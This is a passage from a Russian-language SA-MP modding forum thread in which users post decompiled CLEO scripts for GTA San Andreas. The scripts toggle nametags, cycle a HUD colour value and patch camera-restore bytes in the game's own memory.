0AF8: samp add_message_to_chat "{FFFFFF}Используй {3DCE00}/mn {FFFFFF}> {3DCE00}Настройки {FFFFFF}> {3DCE00}Личные настройки {FFFFFF}> {3DCE00}Видимость ников" color 16777215 
0AF8: samp add_message_to_chat "[{AC4DFF}YouTube канал автора{FFFFFF}]{808080}: {FFFFFF}You{FF0000}Tube{FFFFFF}.com/{AC4DFF}DapoShow" color 16777215 
0002: jump @$DAPO_$HOW_1634

:$DAPO_$HOW_975
0001: wait 5000 ms
0AF8: samp add_message_to_chat "[{AC4DFF}FPS UP{FFFFFF}]{808080}: {FFFFFF}Возможность отключения {3DCE00}Ник-Неймов{FFFFFF}. Автор: {AC4DFF}Dapo Show" color 16777215 
0AF8: samp add_message_to_chat "[{AC4DFF}FPS UP{FFFFFF}]{808080}: {FFFFFF}Для активации/деактивации используй — {3DCE00}/fpsup" color 16777215 
0AF8: samp add_message_to_chat "[{AC4DFF}FPS UP{FFFFFF}]{808080}: {FFFFFF}Я заметил, что ты не играешь на {FF0044}R{FFFFFF}event RP" color 16777215 
0AF8: samp add_message_to_chat "[{AC4DFF}FPS UP{FFFFFF}]{808080}: {FFFFFF}Скорее заходи к нам, мы будем очень рады тебе!" color 16777215 
0AF8: samp add_message_to_chat "[{AC4DFF}FPS UP{FFFFFF}]{808080}: {AC4DFF}IP {FFFFFF}нашего сервера: {3DCE00}213.32.112.224:7777" color 16777215 
0AF8: samp add_message_to_chat "[{AC4DFF}YouTube канал автора{FFFFFF}]{808080}: {FFFFFF}You{FF0000}Tube{FFFFFF}.com/{AC4DFF}DapoShow" color 16777215 

:$DAPO_$HOW_1634
0AC9: free_allocated_memory 17@
0B34: samp register_client_command "fpsup" to_label @$DAPO_$HOW_1657
0BDE: pause_thread 0

:$DAPO_$HOW_1657
0001: wait 0 ms
00D6: if
0039:   15@ == 1
004D: jump_if_false @$DAPO_$HOW_1912
0007: 15@ = 0
0AB1: call_scm_func @$DAPO_$HOW_2278 4 2@ 0.0 0 1 
0AF8: samp add_message_to_chat "[{AC4DFF}FPS UP{FFFFFF}]{808080}: {3DCE00}Ник-Неймы{FFFFFF} успешно {FF0000}отключены{FFFFFF}." color 16777215 
0AF8: samp add_message_to_chat "[{AC4DFF}FPS UP{FFFFFF}]{808080}: {FFFFFF}Для включения используй — {3DCE00}/fpsup." color 16777215 
0002: jump @$DAPO_$HOW_2138

:$DAPO_$HOW_1912
0007: 15@ = 1
0AB1: call_scm_func @$DAPO_$HOW_2278 4 2@ 25.0 1 1 
0AF8: samp add_message_to_chat "[{AC4DFF}FPS UP{FFFFFF}]{808080}: {3DCE00}Ник-Неймы{FFFFFF} обратно {FF9700}включены{FFFFFF}." color 16777215 
0AF8: samp add_message_to_chat "[{AC4DFF}FPS UP{FFFFFF}]{808080}: {FFFFFF}Для отключения используй — {3DCE00}/fpsup." color 16777215 

:$DAPO_$HOW_2138
0B43: samp cmd_ret

:$DAPO_$HOW_2140
000A: 0@ += 2203896
0A8D: 0@ = read_memory 0@ size 4 virtual_protect 1
0AB2: ret 1 0@

:$DAPO_$HOW_2170
000A: 0@ += 965
0A8D: 0@ = read_memory 0@ size 4 virtual_protect 1
0AB2: ret 1 0@

:$DAPO_$HOW_2198
0A8E: 25@ = 0@ + 39 // int
0A8E: 26@ = 0@ + 47 // int
0A8E: 27@ = 0@ + 56 // int
0A8D: 25@ = read_memory 25@ size 4 virtual_protect 1
0A8D: 26@ = read_memory 26@ size 1 virtual_protect 1
0A8D: 27@ = read_memory 27@ size 1 virtual_protect 1
0AB2: ret 3 25@ 26@ 27@

:$DAPO_$HOW_2278
0A8E: 25@ = 0@ + 39 // int
0A8E: 26@ = 0@ + 47 // int
0A8E: 27@ = 0@ + 56 // int
0A8C: write_memory 25@ size 4 value 1@ virtual_protect 1
0A8C: write_memory 26@ size 1 value 2@ virtual_protect 1
0A8C: write_memory 27@ size 1 value 3@ virtual_protect 1
0AB2: ret 0
hex
56 41 52 00 5F 5F 53 42 46 54
end
0052: NOP
Был склеен коннектором и поэтому не раскрывало. Если что поставь галочку на IGNORE_UNKNOWN
 

Вложения

  • HIGH FPS_UP BY DAPO SHOW_2.cs
    2.3 KB · Просмотры: 21
  • Нравится
Реакции: Azimovchik и Trawer2289

Qsany

Потрачен
464
147
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Дайте коды пазязязяз :)
 

Вложения

  • Money.cs
    1.5 KB · Просмотры: 7
  • NoCamRestore.cs
    1.5 KB · Просмотры: 6

DarkL1ght

Новичок
252
112
Дайте коды пазязязяз :)
CLEO:
// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
money
{$CLEO .cs}

0000: NOP

:Noname_2
0001: wait 0 ms
00D6: if
0AFA:  is_samp_available
004D: jump_if_false @Noname_2
0A8C: write_memory 12235312 size 4 value 9371793 virtual_protect 1
0001: wait 100 ms
0A8C: write_memory 12235312 size 4 value 9699478 virtual_protect 1
0001: wait 100 ms
0A8C: write_memory 12235312 size 4 value 9830553 virtual_protect 1
0001: wait 100 ms
0A8C: write_memory 12235312 size 4 value 10027164 virtual_protect 1
0001: wait 100 ms
0A8C: write_memory 12235312 size 4 value 10485923 virtual_protect 1
0001: wait 100 ms
0A8C: write_memory 12235312 size 4 value 10682534 virtual_protect 1
0001: wait 100 ms
0A8C: write_memory 12235312 size 4 value 11010219 virtual_protect 1
0001: wait 100 ms
0A8C: write_memory 12235312 size 4 value 11206829 virtual_protect 1
0001: wait 100 ms
0A8C: write_memory 12235312 size 4 value 11534515 virtual_protect 1
0001: wait 100 ms
0A8C: write_memory 12235312 size 4 value 11665589 virtual_protect 1
0001: wait 100 ms
0A8C: write_memory 12235312 size 4 value 11993274 virtual_protect 1
0001: wait 100 ms
0A8C: write_memory 12235312 size 4 value 12189885 virtual_protect 1
0001: wait 100 ms
0A8C: write_memory 12235312 size 4 value 12189885 virtual_protect 1
0001: wait 100 ms
0A8C: write_memory 12235312 size 4 value 11993274 virtual_protect 1
0001: wait 100 ms
0A8C: write_memory 12235312 size 4 value 11665589 virtual_protect 1
0001: wait 100 ms
0A8C: write_memory 12235312 size 4 value 11534515 virtual_protect 1
0001: wait 100 ms
0A8C: write_memory 12235312 size 4 value 11206829 virtual_protect 1
0001: wait 100 ms
0A8C: write_memory 12235312 size 4 value 11010219 virtual_protect 1
0001: wait 100 ms
0A8C: write_memory 12235312 size 4 value 10682534 virtual_protect 1
0001: wait 100 ms
0A8C: write_memory 12235312 size 4 value 10485923 virtual_protect 1
0001: wait 100 ms
0A8C: write_memory 12235312 size 4 value 10027164 virtual_protect 1
0001: wait 100 ms
0A8C: write_memory 12235312 size 4 value 9830553 virtual_protect 1
0001: wait 100 ms
0A8C: write_memory 12235312 size 4 value 9830553 virtual_protect 1
0001: wait 100 ms
0A8C: write_memory 12235312 size 4 value 9699478 virtual_protect 1
0001: wait 100 ms
0A8C: write_memory 12235312 size 4 value 9371793 virtual_protect 1
0001: wait 100 ms
0002: jump @Noname_2
hex
56 41 52 00 5F 5F 53 42 46 54
end
0052: NOP
CLEO:
// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
NoCamRestore
{$CLEO .cs}

0000: NOP
0001: wait 5000 ms
0001: wait 5000 ms
0001: wait 5000 ms
0001: wait 5000 ms
0AF8: samp add_message_to_chat "NoCamRestore by Dapo Show загружен! Активация: JJ как чит." color 16777215 
0001: wait 0 ms
0AF8: samp add_message_to_chat "Канал автора скрипта:" color 12740351 
0001: wait 0 ms
0AF8: samp add_message_to_chat "YouTube.com/DapoShow" color 16711680 
0AF8: samp add_message_to_chat " " color 16777215 
0AF8: samp add_message_to_chat " " color 16777215 
0001: wait 0 ms
0001: wait 0 ms
0A8D: 1@ = read_memory 5310892 size 1 virtual_protect 1
0A8D: 2@ = read_memory 5310917 size 1 virtual_protect 1
0A8D: 3@ = read_memory 5386662 size 1 virtual_protect 1
0A8D: 4@ = read_memory 5386797 size 1 virtual_protect 1
0A8D: 5@ = read_memory 5387194 size 1 virtual_protect 1

:Noname_259
0001: wait 0 ms
00D6: if and
0ADC:   test_cheat "JJ"
0AFA:  is_samp_available
8B21:   not samp is_chat_opened
004D: jump_if_false @Noname_259
0A8C: write_memory 5310892 size 1 value 235 virtual_protect 1
0A8C: write_memory 5310917 size 1 value 235 virtual_protect 1
0A8C: write_memory 5386662 size 1 value 235 virtual_protect 1
0A8C: write_memory 5386797 size 1 value 235 virtual_protect 1
0A8C: write_memory 5387194 size 1 value 235 virtual_protect 1
0AF8: samp add_message_to_chat "NoCamRestore by Dapo Show включен." color 16766720 

:Noname_398
0001: wait 0 ms
00D6: if and
8B21:   not samp is_chat_opened
0ADC:   test_cheat "JJ"
004D: jump_if_false @Noname_398
0A8C: write_memory 5310892 size 1 value 1@ virtual_protect 1
0A8C: write_memory 5310917 size 1 value 2@ virtual_protect 1
0A8C: write_memory 5386662 size 1 value 3@ virtual_protect 1
0A8C: write_memory 5386797 size 1 value 4@ virtual_protect 1
0A8C: write_memory 5387194 size 1 value 5@ virtual_protect 1
0AF8: samp add_message_to_chat "NoCamRestore by Dapo Show выключен." color 16766720 
0002: jump @Noname_259
hex
56 41 52 00 5F 5F 53 42 46 54
end
0052: NOP
 
  • Нравится
Реакции: MaIIoy и Qsany